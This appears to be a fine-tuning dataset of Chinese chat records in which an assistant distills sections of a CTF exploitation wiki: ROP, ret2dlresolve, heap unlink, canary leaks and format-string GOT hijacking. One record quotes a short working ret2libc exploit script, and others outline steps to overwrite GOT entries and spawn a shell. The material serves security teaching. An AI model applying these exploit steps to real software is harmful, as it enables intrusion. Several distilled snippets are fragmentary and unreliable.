RELRO"], "original_id": "docs-224830ce16a403a64fca", "original_line": 1308, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "source_root": "docs", "source_sha256": "2e19134d3375fa37fb3e560ae4b2109f6d74f32723e63394ef57aadfc89c451a", "split": "train", "split_group_key": "f444db9709304eb20dc4ddd2", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "stackoverflow", "code:shell"], "title": "ret2dlresolve"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-9757ad9c280982c016cd", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/heap-structure.md` 中的章节「define INTERNAL_SIZE_T size_t」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/heap-structure.md`\n标题：堆相关数据结构\n章节：define INTERNAL_SIZE_T size_t\n路径分类：pwn / pwn/linux/user-mode\n分块：2/2\n\n核心知识点：\n- 本节主题围绕“define INTERNAL_SIZE_T size_t”展开。\n- Because they are allocated one-by-one, each must contain its own trailing size field.\n- 堆管理器会通过 prev_size 字段以及 size 字段合并两个物理相邻的空闲 chunk 块。\n- The special chunk top' doesn't bother using the trailing size field since there is no next contiguous chunk that would have to index off it.\n- The M bit is also used for chunks which originally came from a dumped heap via malloc_set_state in hooks.c.\n- ze of next chunk, in bytes |A|0|0| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ `` 可以发现，如果一个 chunk 处于 free 状态，那么会有两个位置记录其相应的大小 1. 本身的 size 字段会记录， 2. 它后面的 chunk 会记录。\n\n关键术语：\n- 堆\n- AI安全\n- pwn\n- linux\n- user-mode\n- heap\n\n代码/命令片段线索：\n- plain: 5 行，首行 `可以发现，如果一个 `chunk` 处于 free 状态，那么会有两个位置记录其相应的大小`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1275, "chunk_count": 2, "chunk_index": 1, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "define INTERNAL_SIZE_T size_t", "heading_path": ["define INTERNAL_SIZE_T size_t"], "original_id": "docs-4e3530edf30c57d49308", "original_line": 951, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/heap-structure.md", "source_root": "docs", "source_sha256": "b1de1dbec6826b99266e11e63b8d9fae7712a0f329395937de325e916d1378e8", "split": "train", "split_group_key": "bee513475885b3c8044f185d", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "AI安全", "pwn", "linux", "user-mode", "heap"], "title": "堆相关数据结构"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/heap-structure.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-97a469cd4e4caacb2773", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/platform/windows/anti-debug/heap-flags.md` 中的章节「获取heap位置」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/platform/windows/anti-debug/heap-flags.md`\n标题：Heap Flags\n章节：Heap Flags > 获取heap位置\n路径分类：reverse / reverse/platform/windows\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“获取heap位置”展开。\n- 有多种方法能获知heap的位置, 方法之一就是kernel32的GetProcessHeap()函数, 当然也可以用以下的32位汇编代码来检测32位环境(实际上就有一些壳避免使用该api函数, 直接查询PEB): `` asm mov eax, fs:[30h] ;\n- get process heap base ` 另外一种方法则是使用kernel32的GetProcessHeaps()函数, 其实它只是简单的转给了ntdll的RtlGetProcessHeaps()函数, 这个函数会返回属于当前进程的堆的数组, 而数组的第一个堆, 就跟kernel32的GetProcessHeap()函数所返回的是一样的. 这个过程可以用32位代码检测32位windows环境来实现: ` asm push 30h pop esi fs:lodsd ;\n- get process heap base ` 或使用以下64位代码来检测64位环境 ` asm push 60h pop rsi gs:lodsq ;\n- get process heap base ` 或使用以下32位代码检测64位环境 ` asm mov eax, fs:[30h] ;\n- get process heaps list base mov esi, [esi+eax+5ch] lodsd ` 同上, 用64位代码检测64位windows环境的代码是: ` asm push 60h pop rsi gs:lodsq ;\n\n关键术语：\n- 堆\n- reverse\n- platform\n- windows\n- anti-debug\n\n代码/命令片段线索：\n- plain: 1 行，首行 `或使用以下64位代码来检测64位环境`\n- plain: 1 行，首行 `或使用以下32位代码检测64位环境`\n- plain: 2 行，首行 `另外一种方法则是使用`kernel32`的`GetProcessHeaps()`函数, 其实它只是简单的转给了`ntdll`的`RtlGetProcessHeaps()`函数, 这个函数会返回属于当前进程的堆的数组, 而数组的第一个堆...`\n- plain: 1 行，首行 `同上, 用64位代码检测64位windows环境的代码是:`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 1228, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "获取heap位置", "heading_path": ["Heap Flags", "获取heap位置"], "original_id": "docs-053f61031b11cf693e21", "original_line": 1516, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/windows/anti-debug/heap-flags.md", "source_root": "docs", "source_sha256": "0178ca5792ad4784b2908b78035d353c6b6ff326160ae7f29a3b02f9f54726c7", "split": "train", "split_group_key": "3d35571836da83f1ff3881c4", "subcategory": "reverse/platform/windows", "terms": ["堆", "reverse", "platform", "windows", "anti-debug"], "title": "Heap Flags"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/windows/anti-debug/heap-flags.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-980860662e8abb7552ed", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/windows/kernel-mode/basic-knowledge/introduction.md` 中的章节「Reference」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/windows/kernel-mode/basic-knowledge/introduction.md`\n标题：基础知识\n章节：基础知识 > Reference\n路径分类：pwn / pwn/windows/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Reference”展开。\n- https://arttnba3.cn/ Microsoft Learn.\n\n关键术语：\n- 堆\n- 漏洞利用\n- pwn\n- windows\n- kernel-mode\n- basic-knowledge\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 2019, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "Reference", "heading_path": ["基础知识", "Reference"], "original_id": "docs-a0c7f86dfee5827c102f", "original_line": 1463, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/windows/kernel-mode/basic-knowledge/introduction.md", "source_root": "docs", "source_sha256": "dffe9072413dc248a151b1fce985a46c7e465f5387c687ba5f3287e4acd99fc6", "split": "train", "split_group_key": "c942381641bb27151ac68686", "subcategory": "pwn/windows/kernel-mode", "terms": ["堆", "漏洞利用", "pwn", "windows", "kernel-mode", "basic-knowledge"], "title": "基础知识"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/windows/kernel-mode/basic-knowledge/introduction.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-9824980afd3dfb58e297", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「now, we are on the new stack」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`\n标题：ret2dlresolve\n章节：now, we are on the new stack\n路径分类：pwn / pwn/linux/user-mode\n分块：2/2\n\n核心知识点：\n- 本节主题围绕“now, we are on the new stack”展开。\n- 与此同时 - bss 段的起始地址为 0x600B30 - 伪造的栈的数据一共有 392 （0x188） 所以直接栈迁移到 bss节很容易出现问题。\n- 00+0x227808 0x7f2512fcb808 <_rtld_global_ro+168>: 0x0000000000000380 `` 当执行完下面的指令后 `assembly ► 0x7f2512dbb7a8 <_dl_runtime_resolve_xsavec+8> sub rsp, qword ptr [rip + 0x210059] <0x7f2512fcb808> ` 栈地址到了 0x600a00（我们是将栈迁移到了 bss_addr+0x100，即 0x600C30），即到了 .dyna...\n\n关键术语：\n- 边界/溢出\n- 堆\n- 栈\n- ROP/JOP\n- AI安全\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n代码/命令片段线索：\n- plain: 1 行，首行 `当执行完下面的指令后`\n- plain: 1 行，首行 `栈地址到了 0x600a00（我们是将栈迁移到了 bss_addr+0x100，即 0x600C30），即到了 .dynamic 节中，后续在栈中保存数据时会破坏 .dynamic 节中的内容，最后导致了 dl_fixup 崩溃。`\n- plain: 4 行，首行 `或许我们可以考虑把栈再迁移的高一些，但是，程序中与 bss 相关的映射只有 0x600000-0x601000，即一页。与此同时`\n- plain: 3 行，首行 `但经过精细的调节，我们还是避免破坏 .dynamic 节的内容`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 3181, "chunk_count": 2, "chunk_index": 1, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "now, we are on the new stack", "heading_path": ["now, we are on the new stack"], "original_id": "docs-24e05261584d6ddd00a0", "original_line": 1338, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "source_root": "docs", "source_sha256": "2e19134d3375fa37fb3e560ae4b2109f6d74f32723e63394ef57aadfc89c451a", "split": "train", "split_group_key": "9e337e635ba91f4780a75df6", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "堆", "栈", "ROP/JOP", "AI安全", "pwn", "linux", "user-mode", "stackoverflow"], "title": "ret2dlresolve"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-987148dcedbdc9d35341", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/browser/chrome/js-engine/history.md` 中的章节「2014: Full-code Generation + Crankshaft / TurboFan JIT Compiler & Optimizer」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/browser/chrome/js-engine/history.md`\n标题：V8 Design History\n章节：V8 Design History > 2014: Full-code Generation + Crankshaft / TurboFan JIT Compiler & Optimizer\n路径分类：pwn / pwn/browser/chrome\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“2014: Full-code Generation + Crankshaft / TurboFan JIT Compiler & Optimizer”展开。\n- 又过了四年，全新的名为 TurboFan 的 JavaScript JIT Compiler + Optimizer 横空出世，此时的编译管线变成下面这个样子，原有的管线额外分叉出指向 TurboFan 的路径，TurboFan 和 Crankshaft 并行存在： [图片文件: https://s2.loli.net/2025/03/11/7Ptx93koOHsIi12.png] > JS 代码生成的 AST 什么时候给到原有的全量代码编译引擎？\n\n关键术语：\n- pwn\n- browser\n- chrome\n- js-engine\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 317, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "2014: Full-code Generation + Crankshaft / TurboFan JIT Compiler & Optimizer", "heading_path": ["V8 Design History", "2014: Full-code Generation + Crankshaft / TurboFan JIT Compiler & Optimizer"], "original_id": "docs-a855d663ee431db6f71f", "original_line": 623, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/browser/chrome/js-engine/history.md", "source_root": "docs", "source_sha256": "b868b727556ae3fca7666a655860c3f3f4f3193087d2bbc536898baa24f5ae90", "split": "train", "split_group_key": "95874badeef29722d304f1d5", "subcategory": "pwn/browser/chrome", "terms": ["pwn", "browser", "chrome", "js-engine"], "title": "V8 Design History"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/browser/chrome/js-engine/history.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-988cce86a4e2a67297e0", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/unlink.md` 中的章节「基本思路」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/unlink.md`\n标题：Unlink\n章节：触发 system('/bin/sh') > 2014 HITCON stkof > 基本思路\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 由于程序本身没有 leak，要想执行 system 等函数，我们的首要目的还是先构造 leak，基本思路如下 - 利用 unlink 修改 global[2] 为 &global[2]-0x18。\n- 利用编辑功能修改 global[0] 为 free@got 地址，同时修改 global[1] 为puts@got 地址，global[2] 为 atoi@got 地址。\n- 根据上面分析，我们在前面先分配一个 chunk 来把缓冲区分配完毕，以免影响之后的操作。\n- 修改 free@got 为 puts@plt 的地址，从而当再次调用 free 函数时，即可直接调用 puts 函数。\n- free global[1]，即泄漏 puts@got 内容，从而知道 system 函数地址以及 libc 中 /bin/sh 地址。\n- 修改 atoi@got 为 system 函数地址，再次调用时，输入 /bin/sh 地址即可。\n\n关键术语：\n- 堆\n- ROP/JOP\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n- code:python\n\n代码/命令片段线索：\n- python: 73 行，首行 `context.terminal = ['gnome-terminal', '-x', 'sh', '-c']`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 2764, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "基本思路", "heading_path": ["触发 system('/bin/sh')", "2014 HITCON stkof", "基本思路"], "original_id": "docs-23f4d6892322460989f1", "original_line": 1081, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/unlink.md", "source_root": "docs", "source_sha256": "c6a924469168a8cbe0822d2807b6d6c4037af2ee0bd17384b59dcb6fdb0c90ee", "split": "train", "split_group_key": "a352a965e3f857c7bbdd3185", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "ROP/JOP", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "heap", "code:python"], "title": "Unlink"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/unlink.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-99094035fc8b72afae15", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/basic-rop.md` 中的章节「例1」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/basic-rop.md`\n标题：基本 ROP\n章节：zer0ptr @ DESKTOP-FHEMUHT in ~/Pwn-Research/ROP/ret2shellcode/wiki [21:14:26] > ret2libc > 例子 > 例1\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“例1”展开。\n- 下面对程序进行反编译以确定漏洞位置： `c int __cdecl main(int argc, const char argv, const char envp) { int v4;\n- } ` 可以看到在执行 gets 函数的时候出现了栈溢出。\n- 此外，利用 ropgadget，我们可以查看是否有 /bin/sh 存在： `shell ➜ ret2libc1 ROPgadget --binary ret2libc1 --string '/bin/sh' Strings information ============================================================ 0x08048720 : /bin/sh ` 确实存在，再次查找一下是否有 system 函数存在。\n- /usr/bin/env python3 from pwn import sh = process('./ret2libc1') binsh_addr = 0x8048720 system_plt = 0x08048460 payload = flat([b'a' 112, system_plt, b'b' 4, binsh_addr]) sh.sendline(payload) sh.interactive() ` 这里我们需要注意函数调用栈的结构，如果是正常调用 system 函数，我们调用的时候会有一个...\n- > 点击下载: ret2libc1 首先，我们检查一下程序的安全保护： ``shell ➜ ret2libc1 checksec ret2libc1 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) ` 源程序为 32 位，开启了 NX 保护。\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- stackoverflow\n- code:shell\n- code:c\n- code:asm\n- code:python\n\n代码/命令片段线索：\n- shell: 6 行，首行 `➜ ret2libc1 checksec ret2libc1`\n- c: 9 行，首行 `int __cdecl main(int argc, const char **argv, const char **envp)`\n- shell: 4 行，首行 `➜ ret2libc1 ROPgadget --binary ret2libc1 --string '/bin/sh'`\n- asm: 1 行，首行 `.plt:08048460 ; [00000006 BYTES: COLLAPSED FUNCTION _system. PRESS CTRL-NUMPAD+ TO EXPAND]`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1423, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "例1", "heading_path": ["zer0ptr @ DESKTOP-FHEMUHT in ~/Pwn-Research/ROP/ret2shellcode/wiki [21:14:26]", "ret2libc", "例子", "例1"], "original_id": "docs-d08fd235464a3dd0fc58", "original_line": 1252, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/basic-rop.md", "source_root": "docs", "source_sha256": "057a5fc1a3ebb4d1e1c7911a1cc846c084c7768efcee467c77c24351625444cb", "split": "train", "split_group_key": "698fc011f33600b46040f082", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "stackoverflow", "code:shell", "code:c", "code:asm", "code:python"], "title": "基本 ROP"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/basic-rop.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-995dff771bc3c8eb0348", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md` 中的章节「leak canary」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md`\n标题：花式栈溢出技巧\n章节：DEBUG(\"b *0x4006B9\\nc\") > 栈上的 partial overwrite > 2018-安恒杯-babypie > leak canary\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 为了第二次溢出能控制返回地址, 我们选择 leak canary. 可以计算出第一次 read 需要的长度为 0x30 - 0x8 + 1 (+ 1 是为了覆盖 canary 的最低位为非 0 的值, printf 使用 %s 时, 遇到 \\0 结束, 覆盖 canary 低位为非 0 值时, canary 就可以被 printf 打印出来了) ``asm Breakpoint 1, 0x0000557c8443aa08 in ?\n- 在第一次 read 之后紧接着就有一个输出, 而 read 并不会给输入的末尾加上 \\0, 这就给了我们 leak 栈上内容的机会。\n\n关键术语：\n- 边界/溢出\n- 堆\n- 栈\n- ROP/JOP\n- pwn\n- linux\n- user-mode\n- stackoverflow\n- code:asm\n\n代码/命令片段线索：\n- asm: 43 行，首行 `Breakpoint 1, 0x0000557c8443aa08 in ?? ()`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 2098, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "leak canary", "heading_path": ["DEBUG(\"b *0x4006B9\\nc\")", "栈上的 partial overwrite", "2018-安恒杯-babypie", "leak canary"], "original_id": "docs-39af60868f04245683c9", "original_line": 67, "original_split": "test", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md", "source_root": "docs", "source_sha256": "0b7df13e54f705c9de45a0f19d62105001f5f8907741819d44afc12bc54434d7", "split": "train", "split_group_key": "fabac89d87ce35bcdf1931eb", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "堆", "栈", "ROP/JOP", "pwn", "linux", "user-mode", "stackoverflow", "code:asm"], "title": "花式栈溢出技巧"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-998c642933ce705456d1", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/unlink.md` 中的章节「当前的 unlink」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/unlink.md`\n标题：Unlink\n章节：Unlink > 原理 > 当前的 unlink\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“当前的 unlink”展开。\n- \\ ` 此时 - FD->bk = target addr - 12 + 12=target_addr - BK->fd = expect value + 8 那么我们上面所利用的修改 GOT 表项的方法就可能不可用了。\n- \\ ` 此外，其实如果我们设置next chunk 的 fd 和 bk 均为 nextchunk 的地址也是可以绕过上面的检测的。\n- 同时需要注意的是，在比较新的glibc版本中，unlink_chunk 在针对large bins时候，有对于两个*_nextsize指针的检查 `c if (!\n- ... } ` 这意味着，当伪造的 chunk 在 large bin 范围内的时候，我们需要将 bk_next_size` 设为 NULL 来绕过对于链表完整性的检查。\n- 此方法虽然不可以实现任意地址写，但是可以修改指向 chunk 的指针，这样的修改是可以达到一定的效果的。\n\n关键术语：\n- 堆\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n- code:c\n\n代码/命令片段线索：\n- c: 3 行，首行 `// fd bk`\n- c: 3 行，首行 `// 由于P已经在双向链表中，所以有两个地方记录其大小，所以检查一下其大小是否一致。`\n- c: 7 行，首行 `if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1624, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "当前的 unlink", "heading_path": ["Unlink", "原理", "当前的 unlink"], "original_id": "docs-3e11e75e0468abed8ffd", "original_line": 1071, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/unlink.md", "source_root": "docs", "source_sha256": "c6a924469168a8cbe0822d2807b6d6c4037af2ee0bd17384b59dcb6fdb0c90ee", "split": "train", "split_group_key": "eebb08f27a41f177abc2b63f", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "漏洞利用", "pwn", "linux", "user-mode", "heap", "code:c"], "title": "Unlink"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/unlink.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-9991a2ef183c6663b60f", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/fmtstr/fmtstr-example.md` 中的章节「确定保护」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/fmtstr/fmtstr-example.md`\n标题：例子\n章节：例子 > hijack GOT > 例子 > 确定保护\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“确定保护”展开。\n- 如下 ``shell ➜ 2016-CCTF-pwn3 git:(master) ✗ checksec pwn3 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) `` 可以看出程序主要开启了 NX 保护。\n\n关键术语：\n- 栈\n- pwn\n- linux\n- user-mode\n- fmtstr\n- code:shell\n\n代码/命令片段线索：\n- shell: 6 行，首行 `➜ 2016-CCTF-pwn3 git:(master) ✗ checksec pwn3`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 213, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "确定保护", "heading_path": ["例子", "hijack GOT", "例子", "确定保护"], "original_id": "docs-cb203f208b84d935c37d", "original_line": 859, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/fmtstr/fmtstr-example.md", "source_root": "docs", "source_sha256": "d526df47868271160568cb01971c9633d988d9cb048751897540a339b9e018a0", "split": "train", "split_group_key": "1f556d44470a877ca9040d2f", "subcategory": "pwn/linux/user-mode", "terms": ["栈", "pwn", "linux", "user-mode", "fmtstr", "code:shell"], "title": "例子"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/fmtstr/fmtstr-example.md", "split": "train", "type": "ctf_lora_sft"}
